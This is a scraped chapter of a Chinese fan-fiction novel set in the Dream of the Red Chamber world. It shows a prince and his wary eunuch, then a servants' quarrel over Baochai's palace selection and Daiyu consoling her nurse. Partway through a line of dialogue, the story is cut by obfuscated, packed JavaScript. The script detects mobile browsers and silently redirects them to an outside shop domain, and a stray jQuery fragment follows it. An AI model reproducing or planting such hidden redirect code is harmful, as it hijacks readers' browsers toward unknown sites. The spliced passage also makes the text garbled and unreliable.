文趣网 > 其他小说 > [红楼]草木有本心 > 58.云掩凶
    时至六月,天公难辨。苍穹倾轧,万丈流光也只在转息间。低头抬眼,远方又有青云来——一个喷嚏下去,大雨瓢泼,院里的宫人赶忙将东西收拾起来。

    在九皇子处当差最是松快,一来他不是那好事的品性,二来颇通晓人情,底下人有个什么不灵便的,他也肯轻轻放过。这会他自在房中习字临贴,顶上没什么吩咐,几个丫鬟太监便挤在廊下看天。

    潘德周也在外面,前几日热燥,这会下雨正是清凉些。画屏、画扇各坐一张石台子,潘德周就倚着柱子站。

    他直挺挺一条,分不清屁股脑袋。只过一息,上面开个缺口,却是他张着嘴望天。

    飞溅的雨滴粘湿一层衣衫,他竟无知无觉。依旧仰着脸,好似一棵干枯的苗芽正等着这场雨来。

    然而暴雨如瀑,他仍是直挺挺地站。

    “公公——”

    “嗬!”

    许是雨声太响,许是心音杂乱。潘德周一时没觉察身后有人过来,却是气沉丹田,向后挥出一记老拳。

    那拳风堪堪吹乱小太监的鬓角,那小子吓呆了,结结巴巴说不出个整话,只一个劲儿举着手里的茶壶给他看。

    “哦,哦,你搁那边吧。”潘德周眉心跳跃几下,又笑着摆摆手,可算叫小太监回过神来。

    “公公……”

    潘德周素来是个和善性情,小太监不怎的怕他,却是惊疑更多些。这会支支吾吾几声,欲要问询,却又被潘德周止下。

    “唉,我方才跑神,以为是有人要作弄我——你别见怪。”

    总管太监轻声细气,小太监自也不好再多说。潘德周嘱咐他去看看各处窗户可曾关严实,总归是把话头赶开。回头见着画屏、画扇都朝着这边看。潘德周咧咧嘴,又转身看向外面的天。

    方才一片乌青,这会已见云歇雨散。雾蒙蒙的雨星飘零在半空,却比方才还增一层湿寒。

    原本救急收在廊下的东西又摆出来,潘德周点过数目,估算时间,念着他家殿下已经在书房窝了好一段时辰。端着置换的新茶,潘德周也不劳动他人,自己叩响房门,听得一个‘进’字才抬脚近前。

    书房里倒是光亮,窗格半启,临近的地上伴着点水渍。边缘推着一圈干涸过的水青,中央仍存积着,浓黑如墨,忽得闪一道白光。

    潘德周心里一慌,抬头看去,正对上许靖川黑洞洞的眼瞳。他手里捏着一把折扇,见潘德周惊疑不定似的,却又笑将起来。

    “你瞧,四嫂给我制的扇坠子,我刚换上。”

    “太子妃娘娘心灵手巧,这鹤绣得跟活了一样。”潘德周也笑起来,将茶给许靖川倒好,又借着他的手仔细看那扇坠:“前头殿下帮衬着说话,叫太子妃娘娘能和那位林姑娘多多来往,想来太子妃娘娘心头也记着呢。”

    “记得又有什么用?”许靖川哼一声,又叹气:“怎样来往,何时来往,总还是要看天时地利,即便这两样都达到,却还有得第三关。”

    “这也不是殿下的错处,皇后娘娘既已经许诺,真想见了,总不会拦着。”

    藏书阁里的话,潘德周没听见。他那会守在外面,只忽然见到他家殿下竟从窗户口翻出来。来不及细问,就被扯着袖子走远。待到无人处,许靖川也只跟他说太子正在里面,他不想叫四哥瞧见自个跟东宫的门客见面。

    这话说得无可指摘,潘德周也觉是这个道理,并没有什么疑云生出来。

    而真切叫他辗转反侧的,还是几日前的御花园。

    新换的一盏茶已经喝完,潘德周却还站在跟前。许靖川多瞧两眼,见他木愣愣地盯着桌子中央,又将杯子在他眼前晃一晃。

    “你这几日都走丢了魂儿似的,怎么,还想着皇祖父那边?”

    没料想他这样直白,潘德周卡壳一下,才点头,苦笑道:“奴才总觉得心中不安——太上皇与咱们惯常也没什么往来,这会忽然示好……奴才怕,怕是要使什么离间计。”

    “这却不会。”许靖川哼笑:“平素也要请安,这会御花园遇见,续续祖孙情谊又怎的?即便父皇心里不舒坦,总也不能叫我扭脸走人吧。”

    “话是这般讲……”潘德周牙疼似的,一边腮帮子鼓得老高。见九殿下还笑嘻嘻地,他咕哝两声,只觉得当头一桶水摇晃,不知道什么时候就要和着热油浇在身上。

    “你别悬着心啦——”许靖川叹一口气,颇老道地拍拍潘德周的肩膀:“好不容易有我这样一枚好棋,怎么舍得借着流言蜚语一次用掉?”

    眼前一颗脑袋猛地抬起,刹那间的惊惶错愕并没有被许靖川错过。然他依旧只笑,手还停留在潘德周身上,眼睛却望向远方。

    这宫室富丽堂皇,从来也不是家的模样。

    喜鹊梁上叫。

    薛家的从前被荣国府里的下人避讳着,如今终于扬眉吐气,立刻踏实下心来要将自己拔高。这会虽是午后,却仍有个不计较燥热的,高高兴兴坐在一撮人中央。

    “还得是紫薇舍人之后,待人接物真真儿是跟旁人不同。”

    吃人嘴软,拿了钱的却也是一般。薛家的婆子高高坐在中央,屁股底下是个圆墩墩的石台横放。

    身边人捧茶水,请吃糕。她自己倒很自在,随着那石座轻摇,脚尖高翘,将那些吹捧一并笑纳。

    “是极是极——”另一人应声,又把手里的点心匣子捧高:“旁的不说,单说宝姑娘——啧啧,那素日里便是独一份的端庄大方,旁人自是不能比较。”

    “这会初选一过,咱们也沾了宝姑娘喜气。往后多多替宝姑娘求神拜佛,等宝姑娘往后成了贵人,指头缝里漏一点,也够咱们吃个滚圆胖!”

    “还用往后?这会不就已经成了贵人了?”

    那圈里又是一阵嬉笑,黛玉院中的李嬷嬷兀自坐在自己相熟的一群人中间。交好的老姊妹膝盖碰她,她也摇摇头,不预备替姑娘惹眼。

    偏偏有人老早就盯着这边。

    李嬷嬷从了黛玉院里的规矩,平日嘴严,什么消息都哄不出来。有人自觉没脸,自有人嫌她装腔作势,又恼她前面因为林姑娘的缘故被追捧起来。

    眼见着李嬷嬷自个绣着自己的东西,正中央的薛家嬷嬷哼笑一声,抬手指一圈。

    “我们姑娘是一等一的贤德人,宫里的嬷嬷可是说了——若是福源至,说不得就直接到公主身边!”她说到这,却是陡然激动起来:“公主那等身份,寻常人家哪里得见?等往后我们姑娘伴着公主长成,哼哼!”

    她话没说完,那份倨傲却已经攀爬满脸。脸颊耳朵一应作了煮熟的螃蟹,眼睛还死而不僵,挥动着钳子朝前。

    “我们姑娘呐,是正儿八经过了初选的。只是平常总叮嘱我们,不要外露,免得叫小心眼的人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668760|204555||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    惦记。才不敢宣讲的满府知道,这会尘埃落定,才好给大家发些欢喜钱。”

    李嬷嬷听出她话里带刺,皱一皱眉,只将身子背开。偏后面那嬷嬷见此,只觉这老货要避她锋芒,更是抖擞着招摇起来。

    “你们听听,这世事啊,就是事以迷成——”薛家嬷嬷一时没想起那个雅词儿,又不肯在这个当口露怯,含含糊糊择个近似的音,旋即调子又高扬起来:“那半桶水晃荡的,以后也得不了什么好处!”

    “你说什么呢!”李嬷嬷气得哆嗦,猛转过身来,两眼直勾勾望着薛家那老货。寻常小话,她听过也不脏了姑娘耳朵,可这会说起姑娘的后福,她却是忍耐不得。

    薛家嬷嬷却更得意,脚尖颠晃,下巴高扬:“哎呦,身子骨弱——你吓着我,我可找问你要汤药钱用!”

    李嬷嬷身边的几个老姊妹拽拽她的衣袖,李嬷嬷狠狠吞一口气,晓得即便为着姑娘,也不能在这当口跟薛家人起什么冲突。

    两手捏着绣绷,指尖青白。李嬷嬷看了薛家嬷嬷半晌,怒极反笑。

    “怎么敢,我还等着拿你家姑娘二选、三选、终选过去的喜钱呢!”

    她说完这一句,也不再看他们或是讥诮嘲讽,或是等着看戏的眼神。急步朝前,只把那老货‘你们瞧瞧,你们瞧瞧——’的得意甩抛在身后。

    可到了院里,见着几个年轻丫头与雪雁头对头看蚂蚁搬家。李嬷嬷眼眶一酸,却又懊悔起自己方才怎么就被那老货激发出火气来。

    ——薛家的男仆女婢都好交结,她这会口不择言发了恼,不是给姑娘惹祸么。

    心里堵着,话却也哽咽。李嬷嬷深吸几口气,强笑着到了雪雁跟前。

    “雪雁,姑娘午睡起了么。”

    “起了。”

    说这话的却不是雪雁,而是黛玉赶巧将窗户打开。李嬷嬷背过身去,然而就那一瞬,黛玉还是瞧见她眼底的红圈。

    初睡醒的神清气爽消散不见,黛玉思量那些腌臜话说不到自己跟前,自己身边的嬷嬷丫头却是直面冷言。登时心头老大不快,又怕李嬷嬷羞于在小丫头跟前诉苦,黛玉便笑道:“嬷嬷,你回来得正好。我这边有个花样不会绣,你快来——”

    她拖长了调子,却似小女儿家的娇顽。李嬷嬷一听,只觉得两眼都热起来。雪雁原本起身朝向这边,见她如此,却是脚步一转,打开门帘。

    “好嬷嬷,赶巧你回来,我好继续躲懒。”

    李嬷嬷要如往常一般笑骂一句‘你这丫头’,可她喉咙糊在一起,也不知道她有没有听见。

    “姑娘……”

    进了内舍,李嬷嬷便将今日事讲来。黛玉听过事情原委,却也只叫李嬷嬷安心些,这风声搅不到她眼前,她也懒怠沾这腥,看别人的脸色。

    而待李嬷嬷说起宫中嬷嬷的言语,黛玉仍是安抚李嬷嬷多些。

    程九的话已经很清晰,今上只属意清臣、宠臣家的姑娘。这一回选侍,却只可怜那些用心准备的旧勋贵家的女孩。

    黛玉在薛姨妈处自也知晓宝姐姐得过初选,薛家散喜钱的事。然而这个当口,但凡劝一句节俭都要被人另眼看待。

    旧日打点宫中的事又浮现出来,黛玉垂下眼睛,静默不言。

    事恶非关我,言凶却累身……

    这里面的道理,她却已经在自己亲近的人身上先知道些。